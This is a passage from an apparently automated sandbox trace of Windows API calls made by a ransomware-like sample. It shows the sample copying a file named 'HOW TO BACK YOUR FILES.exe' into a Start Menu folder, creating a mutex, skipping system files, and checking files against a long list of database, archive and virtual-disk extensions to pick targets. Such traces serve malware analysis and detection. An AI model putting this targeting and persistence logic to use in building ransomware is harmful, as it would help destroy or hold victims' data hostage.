Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu") returned 57 [0053.263] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\8F8E8A443D4BF843C13333378368A1D9") returned 0xec [0053.263] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0053.263] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu" [0053.263] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0053.263] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\start menu\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.263] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\start menu\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0053.263] GetLastError () returned 0x0 [0053.263] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0053.264] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0053.264] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0053.264] CloseHandle (hObject=0xf4) returned 1 [0053.264] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0053.264] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0053.264] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbcf1c2e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf1c2e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0053.265] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.265] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.265] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0053.265] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbcf1c2e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf1c2e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.265] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.265] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.265] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0053.265] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0053.265] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d97bc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0053.265] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.265] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.265] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0053.265] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0053.265] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0053.265] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1 [0053.265] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1 [0053.265] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1 [0053.265] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1 [0053.265] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1 [0053.265] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0053.265] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1 [0053.265] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1 [0053.265] lstrlenW (lpString="desktop.ini") returned 11 [0053.265] lstrcpyW (in: lpString1=0x241e8bc, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0053.265] lstrlenW (lpString="desktop.ini") returned 11 [0053.265] lstrlenW (lpString="Athena865") returned 9 [0053.265] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0053.265] lstrlenW (lpString=".dll") returned 4 [0053.265] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0053.266] lstrlenW (lpString=".lnk") returned 4 [0053.266] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0053.266] lstrlenW (lpString=".ini") returned 4 [0053.266] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0053.266] lstrlenW (lpString=".sys") returned 4 [0053.266] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0053.266] lstrlenW (lpString="desktop.ini") returned 11 [0053.266] lstrlenW (lpString="bak") returned 3 [0053.266] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0053.266] lstrlenW (lpString="ba_") returned 3 [0053.266] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0053.266] lstrlenW (lpString="dbb") returned 3 [0053.266] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0053.266] lstrlenW (lpString="vmdk") returned 4 [0053.266] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0053.266] lstrlenW (lpString="rar") returned 3 [0053.266] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0053.266] lstrlenW (lpString="zip") returned 3 [0053.266] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0053.266] lstrlenW (lpString="tgz") returned 3 [0053.266] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0053.266] lstrlenW (lpString="vbox") returned 4 [0053.266] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0053.266] lstrlenW (lpString="vdi") returned 3 [0053.266] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0053.266] lstrlenW (lpString="vhd") returned 3 [0053.266] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0053.266] lstrlenW (lpString="vhdx") returned 4 [0053.266] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0053.266] lstrlenW (lpString="avhd") returned 4 [0053.266] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0053.266] lstrlenW (lpString="db") returned 2 [0053.266] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0053.266] lstrlenW (lpString="db2") returned 3 [0053.266] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0053.267] lstrlenW (lpString="db3") returned 3 [0053.267] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0053.267] lstrlenW (lpString="dbf") returned 3 [0053.267] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0053.267] lstrlenW (lpString="mdf") returned 3 [0053.267] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0053.267] lstrlenW (lpString="mdb") returned 3 [0053.267] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0053.267] lstrlenW (lpString="sql") returned 3 [0053.267] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0053.267] lstrlenW (lpString="sqlite") returned 6 [0053.267] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0053.267] lstrlenW (lpString="sqlite3") returned 7 [0053.267] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0053.267] lstrlenW (lpString="sqlitedb") returned 8 [0053.267] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0053.267] lstrlenW (lpString="xml") returned 3 [0053.267] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0053.267] lstrlenW (lpString="$er") returned 3 [0053.267] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0053.267] lstrlenW (lpString="4dd") returned 3 [0053.267] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0053.267] lstrlenW (lpString="4dl") returned 3 [0053.267] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0053.267] lstrlenW (lpString="^^^") returned 3 [0053.267] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0053.267] lstrlenW (lpString="abs") returned 3 [0053.267] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0053.267] lstrlenW (lpString="abx") returned 3 [0053.267] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0053.267] lstrlenW (lpString="accdb") returned 5 [0053.267] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0053.267] lstrlenW (lpString="accdc") returned 5 [0053.267] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0053.267] lstrlenW (lpString="accde") returned 5 [0053.267] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0053.267] lstrlenW (lpString="accdr") returned 5 [0053.268] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0053.268] lstrlenW (lpString="accdt") returned 5 [0053.268] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0053.268] lstrlenW (lpString="accdw") returned 5 [0053.268] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0053.268] lstrlenW (lpString="accft") returned 5 [0053.268] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0053.268] lstrlenW (lpString="adb") returned 3 [0053.268] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0053.268] lstrlenW (lpString="adb") returned 3 [0053.268] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0053.268] lstrlenW (lpString="ade") returned 3 [0053.268] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0053.268] lstrlenW (lpString="adf") returned 3 [0053.268] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0053.268] lstrlenW (lpString="adn") returned 3 [0053.268] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0053.268] lstrlenW (lpString="adp") returned 3 [0053.268] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0053.268] lstrlenW (lpString="alf") returned 3 [0053.268] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0053.268] lstrlenW (lpString="ask") returned 3 [0053.268] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0053.268] lstrlenW (lpString="btr") returned 3 [0053.268] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0053.268] lstrlenW (lpString="cat") returned 3 [0053.268] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0053.268] lstrlenW (lpString="cdb") returned 3 [0053.268] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0053.268] lstrlenW (lpString="ckp") returned 3 [0053.268] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0053.268] lstrlenW (lpString="cma") returned 3 [0053.268] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0053.268] lstrlenW (lpString="cpd") returned 3 [0053.268] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0053.268] lstrlenW (lpString="dacpac") returned 6 [0053.269] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0053.269] lstrlenW (lpString="dad") returned 3 [0053.269] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0053.269] lstrlenW (lpString="dadiagrams") returned 10 [0053.269] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0053.269] lstrlenW (lpString="daschema") returned 8 [0053.269] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0053.269] lstrlenW (lpString="db-journal") returned 10 [0053.269] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0053.269] lstrlenW (lpString="db-shm") returned 6 [0053.269] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0053.269] lstrlenW (lpString="db-wal") returned 6 [0053.269] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0053.269] lstrlenW (lpString="dbc") returned 3 [0053.269] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0053.269] lstrlenW (lpString="dbs") returned 3 [0053.269] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0053.269] lstrlenW (lpString="dbt") returned 3 [0053.269] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0053.269] lstrlenW (lpString="dbv") returned 3 [0053.269] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0053.269] lstrlenW (lpString="dbx") returned 3 [0053.269] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0053.269] lstrlenW (lpString="dcb") returned 3 [0053.269] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0053.269] lstrlenW (lpString="dct") returned 3 [0053.269] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0053.269] lstrlenW (lpString="dcx") returned 3 [0053.269] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0053.269] lstrlenW (lpString="ddl") returned 3 [0053.269] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0053.269] lstrlenW (lpString="dlis") returned 4 [0053.269] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0053.269] lstrlenW (lpString="dp1") returned 3 [0053.269] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0053.269] lstrlenW (lpString="dqy") returned 3 [0053.270] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0053.270] lstrlenW (lpString="dsk") returned 3 [0053.270] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0053.270] lstrlenW (lpString="dsn") returned 3 [0053.270] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0053.270] lstrlenW (lpString="dtsx") returned 4 [0053.270] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0053.270] lstrlenW (lpString="dxl") returned 3 [0053.270] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0053.270] lstrlenW (lpString="eco") returned 3 [0053.270] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0053.270] lstrlenW (lpString="ecx") returned 3 [0053.270] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0053.270] lstrlenW (lpString="edb") returned 3 [0053.270] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0053.270] lstrlenW (lpString="epim") returned 4 [0053.270] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0053.270] lstrlenW (lpString="fcd") returned 3 [0053.270] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0053.270] lstrlenW (lpString="fdb") returned 3 [0053.270] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0053.270] lstrlenW (lpString="fic") returned 3 [0053.270] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0053.270] lstrlenW (lpString="flexolibrary") returned 12 [0053.270] lstrlenW (lpString="fm5") returned 3 [0053.270] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0053.270] lstrlenW (lpString="fmp") returned 3 [0053.270] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0053.270] lstrlenW (lpString="fmp12") returned 5 [0053.270] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1 [0053.270] lstrlenW (lpString="fmpsl") returned 5 [0053.270] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1 [0053.270] lstrlenW (lpString="fol") returned 3 [0053.270] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0053.270] lstrlenW (lpString="fp3") returned 3 [0053.270] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0053.271] lstrlenW (lpString="fp4") returned 3 [0053.271] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0053.271] lstrlenW (lpString="fp5") returned 3 [0053.271] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0053.271] lstrlenW (lpString="fp7") returned 3 [0053.271] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0053.271] lstrlenW (lpString="fpt") returned 3 [0053.271] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0053.271] lstrlenW (lpString="frm") returned 3 [0053.271] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0053.271] lstrlenW (lpString="gdb") returned 3 [0053.271] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0053.271] lstrlenW (lpString="gdb") returned 3 [0053.271] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0053.271] lstrlenW (lpString="grdb") returned 4 [0053.271] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0053.271] lstrlenW (lpString="gwi") returned 3 [0053.271] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0053.271] lstrlenW (lpString="hdb") returned 3 [0053.271] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0053.271] lstrlenW (lpString="his") returned 3 [0053.271] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0053.271] lstrlenW (lpString="ib") returned 2 [0053.271] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0053.271] lstrlenW (lpString="idb") returned 3 [0053.271] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0053.271] lstrlenW (lpString="ihx") returned 3 [0053.271] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0053.271] lstrlenW (lpString="itdb") returned 4 [0053.271] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0053.271] lstrlenW (lpString="itw") returned 3 [0053.271] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0053.271] lstrlenW (lpString="jet") returned 3 [0053.271] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0053.271] lstrlenW (lpString="jtx") returned 3 [0053.271] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0053.272] lstrlenW (lpString="kdb") returned 3 [0053.272] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0053.272] lstrlenW (lpString="kexi") returned 4 [0053.272] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0053.272] lstrlenW (lpString="kexic") returned 5 [0053.272] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1 [0053.272] lstrlenW (lpString="kexis") returned 5 [0053.272] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1 [0053.272] lstrlenW (lpString="lgc") returned 3 [0053.272] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0053.272] lstrlenW (lpString="lwx") returned 3 [0053.272] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0053.272] lstrlenW (lpString="maf") returned 3 [0053.272] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0053.272] lstrlenW (lpString="maq") returned 3 [0053.272] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0053.272] lstrlenW (lpString="mar") returned 3 [0053.272] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0053.272] lstrlenW (lpString="marshal") returned 7 [0053.272] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1 [0053.272] lstrlenW (lpString="mas") returned 3 [0053.272] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0053.272] lstrlenW (lpString="mav") returned 3 [0053.272] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0053.272] lstrlenW (lpString="maw") returned 3 [0053.272] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0053.272] lstrlenW (lpString="mdbhtml") returned 7 [0053.272] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1 [0053.272] lstrlenW (lpString="mdn") returned 3 [0053.272] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0053.272] lstrlenW (lpString="mdt") returned 3 [0053.272] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0053.272] lstrlenW (lpString="mfd") returned 3 [0053.272] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0053.272] lstrlenW (lpString="mpd") returned 3 [0053.272] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0053.272] lstrlenW (lpString="mrg") returned 3 [0053.273] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0053.273] lstrlenW (lpString="mud") returned 3 [0053.273] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0053.273] lstrlenW (lpString="mwb") returned 3 [0053.273] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0053.273] lstrlenW (lpString="myd") returned 3 [0053.273] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0053.273] lstrlenW (lpString="ndf") returned 3 [0053.273] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0053.273] lstrlenW (lpString="nnt") returned 3 [0053.273] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0053.273] lstrlenW (lpString="nrmlib") returned 6 [0053.273] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1 [0053.273] lstrlenW (lpString="ns2") returned 3 [0053.273] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0053.273] lstrlenW (lpString="ns3") returned 3 [0053.273] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0053.273] lstrlenW (lpString="ns4") returned 3 [0053.273] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0053.273] lstrlenW (lpString="nsf") returned 3 [0053.273] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0053.273] lstrlenW (lpString="nv") returned 2 [0053.273] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0053.273] lstrlenW (lpString="nv2") returned 3 [0053.273] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0053.273] lstrlenW (lpString="nwdb") returned 4 [0053.273] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0053.273] lstrlenW (lpString="nyf") returned 3 [0053.273] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0053.273] lstrlenW (lpString="odb") returned 3 [0053.273] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0053.273] lstrlenW (lpString="odb") returned 3 [0053.273] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0053.273] lstrlenW (lpString="oqy") returned 3 [0053.273] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0053.273] lstrlenW (lpString="ora") returned 3 [0053.274] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0053.274] lstrlenW (lpString="orx") returned 3 [0053.274] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0053.274] lstrlenW (lpString="owc") returned 3 [0053.274] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0053.274] lstrlenW (lpString="p96") returned 3 [0053.274] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0053.274] lstrlenW (lpString="p97") returned 3 [0053.274] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0053.274] lstrlenW (lpString="pan") returned 3 [0053.274] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0053.274] lstrlenW (lpString="pdb") returned 3 [0053.274] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0053.274] lstrlenW (lpString="pdm") returned 3 [0053.274] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0053.274] lstrlenW (lpString="pnz") returned 3 [0053.274] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0053.274] lstrlenW (lpString="qry") returned 3 [0053.274] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0053.274] lstrlenW (lpString="qvd") returned 3 [0053.274] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0053.274] lstrlenW (lpString="rbf") returned 3 [0053.274] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0053.274] lstrlenW (lpString="rctd") returned 4 [0053.274] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0053.274] lstrlenW (lpString="rod") returned 3 [0053.274] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0053.274] lstrlenW (lpString="rodx") returned 4 [0053.274] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0053.274] lstrlenW (lpString="rpd") returned 3 [0053.274] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0053.274] lstrlenW (lpString="rsd") returned 3 [0053.274] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0053.274] lstrlenW (lpString="sas7bdat") returned 8 [0053.274] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1 [0053.275] lstrlenW (lpString="sbf") returned 3 [0053.275] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0053.275] lstrlenW (lpString="scx") returned 3 [0053.275] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0053.275] lstrlenW (lpString="sdb") returned 3 [0053.275] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0053.275] lstrlenW (lpString="sdc") returned 3 [0053.275] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0053.275] lstrlenW (lpString="sdf") returned 3 [0053.275] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0053.275] lstrlenW (lpString="sis") returned 3 [0053.275] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0053.275] lstrlenW (lpString="spq") returned 3 [0053.275] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0053.275] lstrlenW (lpString="te") returned 2 [0053.275] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0053.275] lstrlenW (lpString="teacher") returned 7 [0053.275] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1 [0053.275] lstrlenW (lpString="tmd") returned 3 [0053.275] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0053.275] lstrlenW (lpString="tps") returned 3 [0053.275] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0053.275] lstrlenW (lpString="trc") returned 3 [0053.275] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0053.275] lstrlenW (lpString="trc") returned 3 [0053.275] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0053.275] lstrlenW (lpString="trm") returned 3 [0053.275] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0053.275] lstrlenW (lpString="udb") returned 3 [0053.275] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0053.275] lstrlenW (lpString="udl") returned 3 [0053.275] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0053.275] lstrlenW (lpString="usr") returned 3 [0053.275] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0053.276] lstrlenW (lpString="v12") returned 3 [0053.276] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0053.276] lstrlenW (lpString="vis") returned 3 [0053.276] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0053.276] lstrlenW (lpString="vpd") returned 3 [0053.276] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0053.276] lstrlenW (lpString="vvv") returned 3 [0053.276] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0053.276] lstrlenW (lpString="wdb") returned 3 [0053.276] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0053.276] lstrlenW 